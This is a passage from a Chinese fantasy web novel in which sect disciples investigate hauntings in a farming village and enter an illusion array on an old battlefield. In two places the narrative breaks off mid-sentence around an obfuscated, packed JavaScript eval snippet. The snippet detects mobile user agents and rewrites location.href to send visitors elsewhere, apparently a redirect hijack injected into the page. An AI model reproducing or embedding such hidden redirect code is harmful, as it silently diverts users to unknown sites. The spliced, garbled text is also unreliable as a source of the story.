他神色凄惶,风尘仆仆地走着,却又好像没有目的地,无头苍蝇似的在几个地方打着转。不多时,他像是终于失了力气,脚步逐渐慢了下来,直至停在了原地。周遭人来人往,却无一人愿意多分给他一个眼神。 老伯茫然地四处张望着,无意中与梁惜因对上了视线。他在原地愣了片刻,犹疑地搓着双手走了过来,带着讨好的笑意问道:“姑娘,你是修士吗?”话说出口,混杂着极重的口音和几分低声下气。 梁惜因点头:“是,我是玄晖宗的阵修。老伯,我看你不像皇城本地人,不知来此所为何事?” “原来是玄晖宗的仙长!”老伯听了她的话后顿时激动起来,面上悲喜交加,抽噎着说:“仙长,我一路自华州而来,还请仙长救救我的儿子和父老乡亲!” 老伯说着就要向她下跪,梁惜因连忙制止他,这说得好好的,这么动不动就要跪呢?? 街上不少行人都对他们投来好奇的视线,梁惜因便将人带到了一个较为偏僻的角落,“老伯,还请将事情细细说与我听,华州到底发生了何事?又要如何救人?” 老伯弯着腰,慢慢地将事情说了一遍。他本是华州境内的农民,所住的村子紧邻平野,远离城镇,虽不发达,但也算得上是与世无争。直到前些时日,村里开始有人噩梦缠身,甚至还能在白日看到有虚影在田间游荡,怪事频发,好些人都被折磨得精神失常。 “我那儿子就是,大好的年纪,媳妇还没娶上,现在被吓得除了床上哪也不肯去,大白天的连房门都不敢出,连我是谁也认不识了,这可如何是好啊!”说着,两行清泪自老伯那爬满皱纹的眼角流下,他满脸都是真切的焦急与痛苦。 梁惜因安抚他几句,又问道:“那华州境内的仙门呢?为何不管此事?”反倒是让这么一个老人家千里迢迢地跑到皇城求助。 “华州的紫源门,我也去了啊!那里边的仙长说会解决此事,可这一连多日,一点动静都没有。我和村里的人实在是等不起了,又听来往的过路人说皇城在办什么修仙界的大会,就想着来碰碰运气。仙长啊!还请您救救我们啊!”因情绪起伏,老伯脸上平平无奇的五官都滑稽地挤在了一起。 紫源门,据传上一任门主在不久前被魔兽重伤,后因伤势退位了。现在门内众人正忙着争夺下一任门主之位,连此次修仙盛会都只派了几个人来敷衍一下,更别说去解决治下百姓的苦楚了。 梁惜因心内轻叹一声,对他说:“老伯您放心,这两日玄晖宗定会去解决此事。” 她见老伯衣衫上沾满了尘土,想必一路赶来身上也不剩多少银两了,便带着他去买了些吃食。老伯的神情感激中掺杂着惶恐,他抱着手中温热的吃食,眼含热泪地对梁惜因连声道谢,直呼她是观音下凡。 梁惜因有些受不住,连连摆手,又开了道阵门,把还在千恩万谢的老伯送回了华州。 47. 回宗 把人送走后,梁惜因转身往酒楼走着。甫一走近,她便瞧见了正站在门口张望的燕明昭。 梁惜因加快步子,挽着她的手说:“师姐可是在找我?” 燕明昭在看到她时明显松了口气,嘴上却不承认:“少自作多情了,我不过也是喝多了下来透口气罢了。” “这样吗,那还真是巧,刚好给我遇上了师姐。”梁惜因笑眼说。 “哪里巧了?就这一家酒楼,你又不是不回来。”燕明昭继续嘴硬。 两人坐回位置上,燕明昭没忍住问她道:“你方才去哪了?吹个风需要跑那么远?” 梁惜因正了神色,把方才遇到老伯的事陈诉了一遍。 谢淳皱眉道:“这紫源门真是本末倒置,百姓都上门求助了也不管,反倒是为了一个所谓的门主之位去争权夺利。” 柳甫畅握着手中折扇:“既已知晓此事,便绝不能再放任不管。可要将之告与师尊他们?” 燕明昭看向峰主与长老坐的那几桌,虽是在宴席之上,但他们并不像宗内弟子那般轻松快意,个个神情严肃,正低声商议着什么。 她收回视线,摇了摇头道:“师尊他们要忙的事已够多了,陆家主一事的幕后黑手到现在还没找出来。不如我们明日里先去探查一番,若是不能解决,再去麻烦师尊也不迟。” 梁惜因点头赞同:“也好。” 次日,玄晖宗众人与来时一样乘着飞舟回去。飞舟之上,殷照坐在舱内的正中间,任凭燕明昭和柳甫畅怎么想把他骗到舱外都屹然不动。 梁惜因独自站在窗边,看着飞舟之下的大江沃野、城镇阡陌,手中握着重霄的小泥人。不知为何,她总觉着华州之事远没老伯说得那般简单,心下隐隐有些不安。 谢淳走到她身侧,静静地陪她站了一会。风轻拂着两人的发梢,他开口说:“小师妹不必忧心,无论前路如何,都有我们几人一同面对。” 谢淳嗓音柔和温润,确实令梁惜因安心不少,她面露笑意,说:“大师兄说得是,也没什么好怕的。” 耳边传来一阵干呕声,梁惜因莫名觉着这声音有几分熟悉,她回头一看,果见是江映和。他被杜昱和苏柚围着躺在一张长塌上,面色苍白。 梁惜因和谢淳见状也走了过去,“江师兄这是怎么了?”她不由问道。 杜昱也满脸焦急地说:“是啊苏师妹,江兄他不会死吧?” 江映和:“......”他是真的很想骂人,只是没那个力气。 “无碍,晕船而已。”苏柚从乾坤袋中取出一个小瓷瓶来,交到他手中,“把这药吃下,隔半个时辰再吃一粒,便差不多能到宗门了。” 江映和手中拿着药,感激地说:“多谢苏师妹...呕——” 苏柚:“......” “江师兄不必客气。”她又同梁惜因和谢淳礼貌打了个招呼,便转身离去了。 梁惜因看了眼她的背影,方才苏柚与他们说话时始终皱着眉,像是在忧心什么事。不过他们几人与苏柚也没熟到那个份上,便没开口多问,以免令她不愉。 江映和吃了一枚药,顿时感觉好多了,终于是止住了干呕。杜昱挤到长塌上坐下,拍着胸口道:“吓死我了江兄,我还以为你突发什么不治之症了。” 江映和简直懒得骂他:“...闭嘴。” 谢淳关切地说:“江师弟既是晕船,怎么不随身多带些药?” 江映和咳了两声,心虚道:“本是带着的,结果在来的路上吃完了。” 梁惜因之前也不是没见过晕船的人,但还是头一回见坐飞舟也能晕成这样的。她劝道:“这些药还是要多备一些,用完了也该及时补充。” 怎料江映和看了看她,像是突然想起了什么,对她竖了个大拇指:“梁师妹,好样的。” 梁惜因:“......” 她转头去看杜昱,杜昱视线偏移,若无其事地吹起了口哨。谢淳毫不留情地揭穿了他:“杜师弟,除了你,我实在想不出别人了。若是让师妹知道你将这事...” 杜昱连忙告饶道:“别啊谢师兄,我就只告诉了江兄一人而已啊。都是自己人,燕师妹那边你帮我说说好话呗。” 江映和做了个闭嘴的动作:“我要是将梁师妹的事到处乱传,我就不姓江!” 梁惜因有些不信杜昱的话,这江映和都知道了,那叶天舟...“那叶仙友呢?你告诉他了没有?”她问。 杜昱一顿,又改口道:“...我就只告诉了江兄和叶兄两人而已,真的,我发誓!谢师兄你千万别让燕师妹来制裁我!”他苦着脸,就差抱着谢淳的大腿了。 江映和又举指道:“叶天舟若是将此事到处乱传,他就不姓叶!” 梁惜因:“......”叶天舟知道你代他发誓这事吗,还有燕明昭有那么可怕吗?她在杜昱几人眼里到底是个什么形象啊?? 她扶额道:“也罢,知道便知道吧,我自是相信你们的。”好歹也是共患难的关系了。 梁惜因都这么说了,谢淳自然也不会再说什么。 飞舟继续行驶着,很快就抵达了宗门。梁惜因几人刚回天璇峰整顿好,就得知了一件大事——谢掌门出关了。 柳甫畅是第一个听闻此事的,钦佩地对他们几人说:“掌门此次出关,修为又提升了一个大境界,称得上是当今修仙界名副其实的剑道第一人了。” 燕明昭托着腮,感慨道:“掌门当真好生厉害,许多修士可能庸碌一生都无法达到他如今的成就。” 谢淳喝了口茶,缓声说:“毕竟是天生剑体,自不是一般人能比得上的。” 梁惜因更关注另一点:“掌门出关,那师尊他们是不是又有的忙了?” 柳甫畅点头:“不错,我方才就见师尊布阵赶往天枢峰了,好像又要开集议,一同商讨魔族事宜。” 燕明昭很想翻白眼:“这么一点事犯得着翻来覆去的商讨吗,也没见讨论出个什么结果来。” 梁惜因又问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14592934|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“那华州一事便是由我们先去了?” 谢淳接道:“是,此事拖不得,越早解决越好,最好是今天下午便出发。你们这便回去准备一番,我去师尊房内留个消息。” 柳甫畅提议道:“把杜兄和江兄也喊上好了,现在搞不清那边的情况,人多一点总是好的。” 几人都觉有理,便定了未时在山门口会面。 梁惜因回去后把觉着有用的东西都装进了乾坤袋中,还不忘给重霄递了个消息,免得他万一来宗门却寻不到她。 到了时辰后,几人布阵前往山门口,却见等在那的有四人,除了杜昱和江映和,还多了叶天舟和重霄。 柳甫畅快步走过去,揽着杜昱的肩道:“我就知道,通知了杜兄你就等于同时通知了叶兄嘛!” 叶天舟虽然人来了,但面上还有些不情愿,对杜昱恶狠狠地道:“你等着!看我不找机会报你那一剑鞘之仇!” 杜昱忙拍了拍他的背,语重心长道:“别这么大火气嘛叶兄,过去的事就让它过去,人生啊,还是要向前看。” 叶天舟面无表情:“那你也给我打一下。” 杜昱飞快拒绝:“不要。”说着就像是生怕叶天舟会直接一个剑鞘甩过来,连忙跑到了谢淳身后躲着。 谢淳:“......?” 梁惜因则惊喜地走向重霄:“阿霄,你怎么来了?” 重霄替她理着被风吹得有些乱的发丝,“我不放心姐姐。”他说。 梁惜因弯唇笑道:“无妨,我虽不是很厉害,但自保还是没问题的,何况还有我师兄师姐他们一道呢。” 重霄眼底漾着笑意:“那姐姐这是要听实话了?” 梁惜因微愣:“嗯?什么实话?” “便是我一刻都不想离开阿因。”重霄压低声音说道。 梁惜因一怔,面上热气上涌,低低地应了一声,移开了与他对视的视线。结果就见一旁的六人正齐刷刷地盯着自己。 梁惜因:“......” 六人又齐刷刷地把头扭到一边去了。 梁惜因牵着重霄向他们走去,清了清嗓子道:“人齐了,可以出发了。” 几人对重霄的加入没有任何异议,燕明昭甚至还一脸“我早就猜到”的表情。叶天舟这时突然喊道:“等等,所以我们到底要去哪?要去干嘛?” 众人:“......” 所以哥们你这是什么都不知道就被坑来了啊?杜昱也不多言,搭着他的肩说:“去华州,除魔。” 谢淳已布好了缩地阵,几人一一踏入阵中。眼前模糊一瞬,等视线再度清晰起来后,眼前的景象已不再是陵州城的细腻山水,而是一望无际的壮阔平原与远方连绵的山脉,苍茫而浩渺。一阵风席卷而过,掀起了漫天黄沙。天际飞过几只大雁,高亢悠长的鸣声久久不绝,就连空气都带着独属于北方的干燥。 他们面前是一处不大的简朴村落,村门口用劲瘦的楷书写着村子的名字——永怀村。 48. 华州 这是一个看上去再普通不过的村子,甚至还透着些寒酸。可分明是白日,村中却无人在外面,家家门户紧闭,不远处的田地瞧着也有些时日没人打理了,萧瑟非常。梁惜因一行人一路走着,终是见到了一个人影,且这人影还很是眼熟。 “苏师姐?”她惊道。 苏柚也看到了他们,面上显露出几分诧异来:“你们怎会来此?” 梁惜因便把皇城老伯求助之事简要说了一遍。苏柚了然,眉头轻蹙:“我也正是为此事而来。” 这时屋内走出一老妇人,她半边头发都染上了花白,但精神看上去很好,双目清亮。她看着梁惜因几人,疑惑地问苏柚道:“阿柚,这几位是?” 苏柚站到她身旁:“娘,他们都是我的同门,也是为解决村中怪事而来。” 苏伯母听了,立马招呼他们到屋内坐。这屋子不大,布置也极为简单,一眼便能看遍。几人全进去后,难免显得有些挤。苏柚和她母亲搬了好几张凳子来,但依旧不够他们坐。 苏伯母过意不去地说:“家里许久没来客了,这椅子也不够用了,我去隔壁借几张来。” 杜昱和叶天舟连忙表示不用麻烦,他们站着就行。苏伯母对他们和蔼地笑了笑:“我也是头一次见阿柚带朋友回来,一时太高兴了。” 苏柚有些无奈,动了动唇,像是想说他们几人不是她带来的。但梁惜因比她先开口:“是啊伯母,我们此次就是听闻苏师姐的家乡有异状,特来帮忙的。朋友之间就是要互相帮助嘛。” 苏伯母听了,直笑得两眼都眯成了缝:“那就好那就好,我就怕阿柚这孩子入了宗门会交不到朋友。” 苏柚带着些嗔怪地喊道:“娘。” 苏伯母笑容更甚:“这孩子,我说她她还不乐意了。”在又说了些场面话后,苏伯母便退到偏房中去了,让他们这些修士自行商讨村中之事。 苏柚本是和苏伯母一同站着的,此时苏伯母走了,重霄便站起身来,示意她来坐下,自己则站到了梁惜因身后。苏柚忙推脱道:“不用不用,你们是客,你们坐就好。” 梁惜因拉了她一把:“无事的苏师姐,这位是我弟弟梁霄,他既让座于你,你安心坐下便是。” 梁惜因都这么说了,苏柚也就顺着她的力道坐下了。其余几人在听到她介绍重霄时,纷纷露出了意味深长的目光。 梁惜因:“......” 不过苏柚没注意到这些,她动容地说:“多谢几位愿意前来解决此事。像我家这种小村子,往往是最易被修士忽视的。” 谢淳也深知这一点,并且一直想对此加以改变,他说:“既踏上了修仙一途,便自当去降妖除魔,护世间安宁,这与地域又有何干?” 苏柚十分认同:“谢师兄所言极是,这也正是我想说的。”她话音一转,开始说起众人最关心的村中异象,“我是在两日前收到阿娘来信的,信中说村里这几日频频有人白日撞鬼,晚上入睡后也会无一例外的陷入噩梦之中。而一旦被噩梦惊醒,就会听到兵戈厮杀之声,如在耳畔。 “阿娘还说,近来村中之人无论做什么事,都极为不顺,活像是被什么东西缠上了一样。现在村中已没人敢出门了,甚至还有不少人被折磨得和疯子无异。” 这些倒是和老伯口中的差不多。苏柚面色凝重,继续皱眉道:“想必你们也都听说过二十多年前的那场平野之战,我起初以为是战场冤魂作祟。正好我也会一些简单的驱魔法术,便想回来探查一番,但我方才试过了,这些法术根本不起作用。” 江映和惑然道:“一点作用都无吗?不应该啊,这些基本法术的适用性很广的啊。” 梁惜因思索着说:“许是因为这些怪事出现的源头还没被解决,所以才不会受法术的影响。” 燕明昭说:“你们不觉得奇怪吗,这战争都是二十多年前发生的了,真要作祟的话早就开始了,为何偏偏要拖到现在?” 柳甫畅到哪都带着他那把折扇,边摇边说:“战争冤魂如要作祟,一般都会有极强的攻击性。而以他们现在的所作所为来看,到像是在有意克制着一般。” 梁惜因也觉有理。若是他们本就不想害人,而是被逼无奈呢?这种时隔多年才开始作祟的情况,倒是很容易让梁惜因想起相思乐楼,只怕这背后根本就是同一人所为。 苏柚又说:“梁师妹之前提起的那老伯应是秦伯伯,他家就在村子最东面。” 谢淳率先起身道:“先去他那里看看吧。” 几人一路往东走去,苏柚默默地走在了梁惜因身侧,梁惜因看出她是有什么话想说,主动打破沉默道:“苏师姐的母亲看着很是康健。”想来也是,毕竟苏柚就是医修。 苏柚笑了笑,这才将自己心中的话说出口:“方才多谢梁师妹了,我娘这人总是操心太多。” 梁惜因唇角微扬:“小事而已,伯母也是关心师姐。” 她又问道:“怎么不见伯父?” 苏柚神情一黯:“我爹他...在我很小的时候就过世了。” 梁惜因怔了片刻,忙说道:“抱歉师姐,我不知道。” “无妨。”苏柚摇了摇头,“我父亲在我幼时生了一场大病,我娘寻了许多大夫来,但还是没能救回阿爹。”那时的她还很小,但阿爹被病痛折磨得痛苦不堪的模样却深深印在了她的心底。从那之后,她便立誓以后也要成为一个大夫,去治病救人,不让这种痛楚降临到更多家庭身上。 “那苏师姐何不把伯母也接到陵州去?也方便彼此照料。”梁惜因真心提议道。 “我一开始也是这般想的,但是阿娘不愿,她不愿离开这片生她养她的土地。”苏柚停顿须臾,“不知梁师妹来时可有看到村 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14599963|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口的村名?那便是阿娘亲手写上去的。她在这里度过了大半生,这片土地对她而言承载着太多太多。”她淡笑着说,视线好像落在了很远的地方。 梁惜因乍听村名是苏伯母所写时还略感意外,随即又觉再合理不过了。苏家的房子虽小,但处处整洁干净,架子上叠放着一摞摞书,她只粗略一扫,便能看见书上的折痕,一看就是被经常翻阅的。苏伯母独自一人将苏柚抚养长大,眸中却无丝毫疲乏与怨怼,反而满是坚毅。 也只有这样的人,才能写出那般风骨卓绝的字来。她又看了眼身旁的苏柚,不由在心内感慨这母女俩着实相像。这个身形娇小的北方姑娘同样有着一颗不惧困难、热爱人世的心。 一行人很快就走到了村子东面,苏柚上前敲响了秦老伯家的门。重霄站在后面,趁这个间隙牵住了梁惜因的手,轻轻捏了两下。 梁惜因立马猜出他这是觉着自己方才被忽视了,有些不高兴。梁惜因失笑,挠了挠他的掌心。重霄像是觉得痒,手往后缩了一下,却并未收回去,反倒是把她的手握得更紧了。 梁惜因抬眸,就见重霄嘴角噙着笑,看上去心情很是不错。真好哄,她想。 苏柚等了一会,也不见有人来开门,屋内一丝动静都无。她又敲了几下,喊道:“秦伯伯,是我,苏柚。” 这下门终于被打开了,秦老伯探出半个脑袋来,面容比起之前更为憔悴:“小柚?你啥时候回来的?”紧接着他就看见了苏柚身后的众人,困惑的视线在瞥见梁惜因时立马变得又惊又喜,当即把门敞开道:“仙长!快请进、快请进!” 几人鱼贯而入,在最后一人进去后,秦老伯极为警惕地朝门外张望了番,像是在确认有没有什么其他东西跟进来。 屋内还有一个衣着朴素,面含愁苦的妇人。她看着梁惜因几人,捏着衣摆不知所措地问秦老伯道:“这几位是?” 秦老伯连忙拉着她说:“这就是我昨日跟你说的玄晖宗的仙长啊!”他侧过头,又带着歉意地对他们道:“不想仙长这么快便来了,是老汉我怠慢几位了。” 梁惜因摆了摆手,让他莫要在意。 妇人听了,顿时也激动起来,用手抹着泪,哽咽道:“想不到竟真有仙长愿意到我们这来,老秦,我们儿子有救了,有救了啊!” 秦老伯也拍腿道:“是啊,谦儿他有救了啊!” 两人执手相泣,场面感人非常。谢淳不得不打断他们道:“二位,可否让我们去看望下令郎?” 秦老伯连声答应,领着他们来到了偏房中。叶天舟四下张望着,见所有窗户都被封死了,整个屋内只有桌上微弱的烛火在照明,他忍不住问道:“老伯,你们不嫌暗吗?” 秦老伯听了,走在前面的身形一顿。他回过头来,一张脸掩在阴影中,极为缓慢地道:“只有这样,才不会被他们发现啊。” 49. 入阵 这青天白日的,叶天舟却是起了一身的鸡皮疙瘩,他往杜昱和江映和靠近了些,不禁问道:“他们是...?” 秦老伯双目布满血丝,半是愤懑半是惧怕地说:“是战场上那些索命的厉鬼!只恨他们不去找西朔人复仇,反倒来纠缠我们这些平头百姓!” 几人对视一眼,也没急着对此下定论。 梁惜因一进房就注意到了床上裹着被子的身影,她走近了些,轻声开口道:“秦公子?” 重霄扯着她的衣袖:“姐姐,小心些。”他话音刚落,秦谦就猛地掀开了被子,浑身颤抖地大喊道:“不要杀我!我不想打仗!我要回家,放我回家!” 梁惜因一惊,下意识就往后退了几步,正好退到了重霄怀中。她抬头,就见重霄安抚地对她笑了笑。梁惜因也只是一开始被吓到了,其实并不害怕,但这下也觉心安不少。 妇人在秦谦掀开被子的一瞬间就急忙跑到了床边,哭喊着握住他的手:“我苦命的儿啊...”秦谦不断挣扎着,却怎么也没能将妇人挣开。 泪水流过那爬满了沟壑的脸,妇人还在哭天喊地着:“怎么受苦的偏偏是我的儿啊,怎么就不是我啊?” 亲眼见过了秦谦后,梁惜因顿时理解了为何他们夫妇二人会这般担忧。秦谦五官端正,两颊却深深地凹陷下去,眼下有着明显的青黑,仔细看还能看见他眉宇间缠绕的黑气,整个人看上去萎靡极了,毫无精气神。 苏柚让杜昱和叶天舟上前把人按住,自去给秦谦把脉。秦老伯和妇人紧挨着站在一起,屏息注视着她的动作。 苏柚神情凝重,须臾后皱眉道:“光看脉象,只能看出他身体极为虚弱,再多的便看不出来了。我也没从他体内探测出魔息,实在不知他为何会变成这样。” 她又问起了秦谦的生辰八字,妇人有问必答,立马说了出来。 苏柚凝神算了算,露出了“果然如此”的神情,她说:“秦公子的八字较弱,所以容易沾染这些东西。” 秦老伯闻言又急了,恳求道:“那该如何是好?仙长,求你们救救我儿子!” 苏柚看了眼正努力把自己缩成一团的秦谦,轻叹了一声:“先出去吧,人多他只会更害怕。” 除了妇人,其余人全都走出了偏房。 谢淳温声对急得原地打转的秦老伯说:“老伯您且放宽心,我们既是来了,自当尽力。” 听秦谦方才脱口而出的话,此事定与平野之战脱不了干系。他向秦老伯问了平野之战的具体方位,秦老伯当年是亲眼见证过那场战争的,对此自是再了解不过。 众人走到屋外,秦老伯一边说一边伸手在空中比划着:“出了村子,再往西走个二十里地,就能到了。” 他还不忘叮嘱道:“那块地是古战场,邪得很,仙长们要小心啊。” 杜昱干劲满满,拍着胸脯说:“放心吧老伯!我们保证把你儿子给救好!” 结果秦老伯不知怎的面色骤变,猛地把门给关上了,发出“砰”的一声响。 杜昱:“......” 叶天舟不管三七二十一的先把他嘲笑了一通:“哈哈哈你看你,把人老伯都给吓跑了!” 燕明昭抬手示意他们安静:“嘘,你们看。” 杜昱生生止住了要揍人的手,顺着燕明昭手指的方向看了过去。而这一看,他几乎是下意识放轻了呼吸。 不远处的田地上游荡着数道虚影,这些虚影的身形极淡,一触就散似的,在阳光下若有若无。众人看不清他们模糊成一团的面容,却能清楚地看见他们身上穿的铠甲。 在这白色穹顶下和漫天黄沙中,他们无声无息而又漫无目的地游荡着,诡异之中透露出些许悲凉。 江映和最先启唇说:“这到底是什么东西啊?”他试探性地向其中一道虚影使了张符纸,符纸却直接穿过了虚影的身体,没有对其造成丝毫影响,就连他的脚步都不曾停滞片刻。 谢淳神情严肃:“没用的,他们出现的源头尚未被解决,还是要去一趟古战场。”他按秦老伯说的方位布下了缩地阵,转眼功夫间,众人便到了平野一战的遗址处。 哪怕二十多年过去了,这片土地仍显得触目惊心。累累白骨横生在地面上,泥土被鲜血染成了凝滞的暗红色,周围一连几十里地皆是荒无人烟。空气中弥漫着难言的气味,身边吹来的风好似都夹杂着幽咽的鬼哭声,令人毛骨悚然。 此情此景下,丝毫不难想象当年那场战役是如何激烈,足可令风云变色。 杜昱和叶天舟还想往前走,却被谢淳拦了下来。他抬起手掌,闪着白色微芒的灵力如细线般延伸进了战场。片刻后,他收回灵力,沉声说:“是幻阵。” 梁惜因之前的猜测被证实了,“极有可能还是归虚阵。”她道。 谢淳点头:“小师妹所言不错,但具体是何幻阵,还需入阵之后方能知晓。” 苏柚紧接着问道:“你们要入阵?” 燕明昭接道:“对,大师兄所说的源头想来就是眼前这个阵了,只要找到阵眼将阵破了,村中的异状自然也就消失了。” 苏柚担心地说:“会不会很危险?” 柳甫畅将扇子收了起来,如实道:“说不准,这也要入了阵才能知道。” 苏柚在原地默了默,将腰间的乾坤袋取了下来,从里边往外掏着各色瓷瓶,分给了众人,“我是医修,就算入了阵也帮不上什么忙,可能还会拖你们后腿。这些药你们拿着,说不定还能起到些作用。” 她最先分给的就是梁惜因,梁惜因一手抱着瓷瓶,一手去拿自己的乾坤袋,道了谢后说:“可苏师姐你一个人在外面,我们也放心不下啊。” 苏柚这时分到了江映和这边,江映和没有伸手去接,而是说:“梁师妹说得对,反正我也不怎么懂阵法,也不是很能打,不如就和苏师妹一同在阵外候着。” 谢淳思量少顷,应道:“也好。幻阵中时间流逝的速度与外界不同,但解阵一般不会超过一天时间。若是一天后我们还没出来,江师弟你便传符回玄晖宗求援。” “好,我记下了,你们也万万要小心些。”江映和郑重说道。 几人又对苏柚道了声谢,随即先后向前走了几步,身影消散在了风中。 苏柚久久凝望着他们身影消失之处,双手紧握。一定要平安出来啊... 梁惜因的意识模糊一瞬,再度清醒过来后,她发觉自己似乎是处在一间营帐中。她 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“姐姐”这个称呼瞬间就让梁惜因想到了重霄,也不知他那里情况如何。不过面前这孩子瞧着实可怜,蜡黄的脸上看不到一丁点肉,麻布做的裤子已然缩到了小腿肚上。他非常宝贝地把干粮抱在怀里,像是舍不得吃。 也许在战争之中,这便是常态吧。 梁惜因摸了摸他乱糟糟的头发,又从桌上拿了一块饼递给他:“没事,姐姐不饿,你吃吧。” 男孩双眼一亮,也不做推拒,双手拿过饼就开啃。因吃得太急,他没吃几口就噎住了,捶着胸口咳嗽起来。梁惜因轻拍着他的后背:“慢一些,不着急。” 营帐门口的布被掀开,两个士兵走了进来,按着腰间的剑分别往门两侧一站。其中一个士兵对随后走进来的那人说:“报告校尉,此次从西朔军手里救下的百姓都在这了,要如何安排?” 校尉淡声说:“等明日就着人护送他们去华州。” 士兵高声应道:“是!” 在看到校尉的那一刻,梁惜因险些控制不住地站起身来。那身披铠甲、面容冷峻的校尉不是别人,正是重霄。 重霄淡漠地扫了一眼帐内众人,视线在触及梁惜因的一瞬骤然顿住了。他瞳孔微微放大,像是在克制着自己的情绪。他本已是转身要离去了,此时又生生止住了步子,抬手点了点她,在众人不解的目光中说:“这位姑娘,我留下了。” 众人的目光霎时又全都移到了梁惜因身上,这些目光含意复杂,有怜悯、有惊诧、有艳羡...但无一人敢在这时开口。两名士兵在说了声“是”后便低下头去,像是军中经常发生这样的事,已是见怪不怪了。 话落,重霄就回身出了营帐,梁惜因起身要跟上他,身旁的男孩好似才明白状况,拉住她的袖子低声问道:“姐姐,你不回家了吗?” 梁惜因对他露出一个笑容:“当然要回啊,只不过是过些时日再回,就不与你们一道了。” 男孩懵懂地点了点头。还守在门口的士兵见状,不耐烦地道:“还不快些!校尉还在外头等着呢!” 梁惜因忙说:“这就来。” 她随着士兵走出营帐,果见重霄正在不远处等着她。见他们出来了,他先是狠狠瞪了一眼方才催促梁惜因的士兵。 那士兵:“???” 50. 军士 从营帐出来后,梁惜因才发觉外面是黑夜。天边的一轮圆月泛着莹莹白光,道路两旁的火把将整个军营映照得明亮非常,一时连明月的银辉都黯淡了下来。 她不远不近地跟在重霄身后进了那明显要豪华许多的营帐,重霄让那两个士兵在外面守着,帐中便只剩下了他和梁惜因二人。梁惜因在重霄转向她的那刻就抱了上去,笑道:“真巧,第一个遇到的就是阿霄。” 重霄的笑容中带着几分无奈:“我身上还穿着铠甲,别硌着姐姐了。” 梁惜因看向他,双眸明亮:“这有什么,我这身衣服上还全是灰呢,阿霄会嫌弃我吗?” 重霄立马说:“当然不会。” 梁惜因笑意更甚:“那不就行了。” 重霄似是不知该说她什么是好,笑着抚了抚她的面颊,将人带到桌旁坐下。军中没有茶,他便给梁惜因倒了杯温水。 梁惜因端起杯盏喝了一口,和重霄互相交换了下彼此的经历。重霄入阵后就发现自己身处在这间营帐内,他还在试图搞清楚自己的身份时,就有士兵进来向他通报,说新救下的百姓已暂且安置在军营中了。 于是他便让那士兵带他前去看看,也好熟悉下军营的环境。不曾想正巧遇上了梁惜因。 梁惜因托腮道:“我记着之前在乐楼我第一个见到的也是阿霄,看来我们二人当真是有缘。” “我与姐姐自是极有缘的。”重霄面上虽是笑着的,眸中却藏着几分暗色。 若放在平时,梁惜因定会注意到,但眼下她正忧心着其他人,“也不知他们现在情况如何。”她说。 “这军营这么大,找起人来费时费力,还是先传符问一下好了。”说着,梁惜因就从乾坤袋中取出传讯符来。幻阵虽会限制入阵之人的灵力,但不影响一般符咒的使用。 她对每个人都使了一张符,再问他们状况的同时也不忘说明自己与重霄的情况。符纸上的朱笔亮了一瞬,悄无声息的在黑夜中从营帐飞散了出去。 两人并未等多久,很快就有一张符飞了回来。梁惜因双指接住符纸,脑海中旋即响起谢淳温润的嗓音。片刻后,她将符纸放下,对重霄说:“大师兄是军医,叶仙友则是一名受了伤的普通士兵。他们眼下都在军医营中,不如我们先去找他们会和?” 重霄自是答应:“好,听姐姐的。” 虽是夜晚,军医营内仍是忙得不可开交。伤兵在营帐的地面上痛苦呻吟着,军医在其中来来往往的穿梭,为他们包扎伤口。再结合救下的百姓,梁惜因猜测白日里两军应是有过一战,只不过规模不大。 梁惜因朝帐中探了探头,一眼便看到了谢淳。谢淳也抬头望见了他们,只是暂时还无法脱身。 “梁仙友?梁兄?”营帐门口传来低呼,梁惜因低头看去,就见叶天舟坐在地面上,身上的铠甲沾满了血迹。此时忙得不可开交的营帐中并不会有人注意门口,叶天舟张望了番,便悄悄站起身走了出来。 一出营帐,他就忍不住吐糟道:“你们说这幻阵给我安排了个什么破身份,我一睁眼就见我右腿被砍得全是血,站都站不起来。” 那确实挺倒霉的。梁惜因试图宽慰他:“没办法,这都是随机的。” 不过叶天舟看上去接受良好:“还好有苏仙友给的药,现在已经完全恢复了。”他在两人面前晃了晃他那条右腿。 谢淳这时也从帐中走了出来,梁惜因向他挥了挥手:“大师兄,你忙完啦?” “嗯,剩下的交给其他军医就行了。”谢淳像是松了口气,拭着额角的汗道:“我就只会些简单的包扎,万幸是没出什么岔子。苏师妹给的药效果太好,我怕引人怀疑,就只给我救治的人用了少量。” 营中不时有负责巡逻的士兵走过,已经有士兵对他们几人投来了疑惑的视线。许是碍于重霄在幻阵中的身份,所以并没有上前来。 重霄注意到了,说:“此处不是说话之地,且先到我帐中再说。” 几人快步走着,等到了后,叶天舟张大嘴巴看着帐内的布置,不禁又感慨道:“人与人之间的差距啊...” 重霄将营帐门口的布放下,与几人一同坐在桌旁。甫一坐下,梁惜因就开口说:“是归虚阵。” 谢淳颔首道:“没错,且阵中的场景比起上次的乐楼更为宏大真实,可想而知布阵者在此阵中耗费了多少灵力。” 叶天舟听明白了:“意思就是这布阵的人很强?那我们要怎么出去?阵眼怎么找啊?” “幻阵的阵眼,可能是人,也可能是物,但无论是什么,一定都有其不同寻常之处,且寄载着阵中诸人最深的情感。”梁惜因向他解释道。 叶天舟更迷惑了:“这军营这么大,要怎么找啊?直接用武力把阵破掉不行吗?” 